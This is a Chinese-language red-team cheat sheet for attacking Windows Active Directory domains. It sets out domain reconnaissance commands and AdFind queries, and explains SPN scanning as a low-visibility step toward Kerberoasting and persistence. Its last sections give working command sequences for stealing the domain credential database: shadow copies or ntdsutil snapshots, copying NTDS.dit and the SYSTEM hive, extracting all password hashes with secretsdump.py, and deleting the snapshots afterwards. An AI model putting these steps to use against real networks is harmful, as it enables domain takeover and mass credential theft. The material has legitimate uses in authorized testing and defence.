命令 | 说明 |
---|---|
net use | 是否建立连接 |
localhost | 查看主机名 |
net view | 查看域成员 |
whoami /all | 查看sid |
net time /domain | 查看域控主机名、时间(任何域内主机都可执行) |
tasklist /v | 详细进程信息 |
ipconfig /all systeminfo | 查看ip、是否存在域等信息 |
nslookup dc.com | 查看域控ip |
net group /domain | 获取所有域用户组列表 |
net group “domain admins” /domain | 获取域管理员列表 |
net group “domain computers” /domain | 机器列表 |
net group “enterprise admins” /domain | 获取企业管理员列表 |
net localgroup administrators /domain | 获取administrators组(本地组) |
net group “domain controllers” /domain | 获得域控列表 |
net user /domain | 获取所有域用户列表 |
net user someuser /domain | 获得指定账户someuser的详细信息 |
net accounts /domain | 获得与密码策略设置、密码长短、错误锁定等信息 |
nltest /domain_trusts | 获取域信任信息 |
SPN
服务实例,是一个服务的唯一标识,服务在加入域时自动注册。
SPN扫描也可以叫扫描Kerberos服务实例名称,在Active Directory环境中发现服务的最佳方法是通过“SPN扫描”。
优点:
1、SPN扫描不需要连接到网络上的每个IP来检查服务端口。
2、SPN查询是正常Kerberos票据行为的一部分,所以这个操作很难被检测出来
注册在AD(域控活动目录)上,即Computers | 当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下 |
注册在与用户账户下,即Users | 当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下 |
利用
1、SPN扫描可以发现重要的服务机器,隐蔽性强(不需要主动扫描)
2、所有的域用户都可以通过LDAP获取到域内所有SPN,进而通过Kerberoasting攻击完成域内提权等
3、在获得SPN修改权限后可以为指定域用户添加SPN,通过随时获取该用户的TGS破解明文密码,作为域内持久化手段
命令:
说明 | 命令 |
---|---|
查询当前域下的所有SPN | setspn –q */* 该命令在Win 7 和 Win Server 2008以上版本系统自带 |
查看指定域的所有SPN | setspn –T 域名 –q */ 以CN开头的,每一行都代表一个账户 |
域内常见的SPN实例
服务 | 实例名 |
---|---|
MSSQL服务 | MSSQLSvc/adsmsSQLAP01.adsecurity.org:1433 |
RPC客户端访问服务器角色 | ExchangeMDB/adsmsEXCAS01.adsecurity.org |
RDP远程桌面协议服务 | TERMSERV/adsmsEXCAS01.adsecurity.org |
windows远程管理服务 | WSMAN/adsmsEXCAS01.adsecurity.org |
Hyper-V | Microsoft Virtual Console Service/adsmsHV01.adsecurity.org |
VMware | STS/adsmsVC01.adsecurity.org |
LDAP协议(389端口)
轻量级目录访问协议。是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。LDAP采用Client/server模型,Server 用于存储数据,Client提供操作目录信息树的工具。
LDAP和AD域的区别:
1、 AD(Active Directory)是一种基于数据库的系统,可在windows环境中提供身份验证、目录、策略和其他服务;
LDAP(轻量级目录访问协议)则提供查询和修改目录服务及程序中的项目应用协议
2、 LDAP功能强大,支持各种角色、组、组织、部门、策略、权限控制等;
AD则在功能上差很多,不能完成复杂的业务需求
3、LDAP完全遵循业界的LDAP标准,能兼容任何支持LDAP协议的应用系统;
AD在LDAP标准支持上的欠缺,导致它和其他应用系统的兼容性较差
域控常见端口:
53、88(Kerberos协议端口)、389
ADFind
说明 | 命令 |
---|---|
列出域控制器名称 | AdFind.exe -sc dclist |
查询当前域中在线的计算机 | AdFind.exe -sc computers_active |
查询当前域中在线的计算机(只显示名称和操作系统) | AdFind.exe -sc computers_active name operatingSystem |
查询当前域中所有计算机 | AdFind.exe -f “objectcategory=computer” |
查询当前域中所有计算机(只显示名称和操作系统) | AdFind.exe -f “objectcategory=computer” name operatingSystem |
查询域内所有用户 | AdFind.exe -users name |
抓取域内账号信息
ntds.dit
Ntds.dit是主要的AD数据库,位于C:\windows\NTDS\NTDS.dit(锁定状态)。包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码 哈希值。使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
Volume Shadow Copy
是用于创建一致性的时间点副本(也就是快照)的服务框架。
用于数据备份,支持Windows Server 2003 及以上操作系统。
系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
利用
vssadmin
命令 | 说明 |
---|---|
vssadmin create shadow /for=C: | 获取卷影副本卷名 |
copy 卷名\windows\NTDS\NTDS.dit C:\ | 导出ntds.dit文件 |
copy 卷名\windows\system32\config\system C:\ | 导出system文件 |
python secretsdump.py -ntds ntds.dit -system system LOCAL | 导出两个文件到本地解密,获取域控所有账号信息 |
vssadmin delete shadows /for=c: /quiet | 删除快照 |
ntdsutil导出
说明 | 命令 |
---|---|
查询当前系统的快照 | ntdsutil snapshot “List All” quit quit ntdsutil snapshot “List Mounted” quit quit |
创建快照 | ntdsutil snapshot “activate instance ntds” create quit quit |
挂载快照 | ntdsutil snapshot “mount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}” quit quit |
复制ntds.dit | copy C:$SNAP_201908291617_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit |
复制system | copy C:$SNAP_201908291617_VOLUMEC$\windows\system32\config\system c:\system |
导出并解密 | secretsdump.py -ntds ntds.dit -system system LOCAL |
卸载快照 | ntdsutil snapshot “unmount {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}” quit quit |
删除快照 | ntdsutil snapshot “delete {78a8e3a8-cc4f-4d40-a303-d7a159c5a2aa}” quit quit |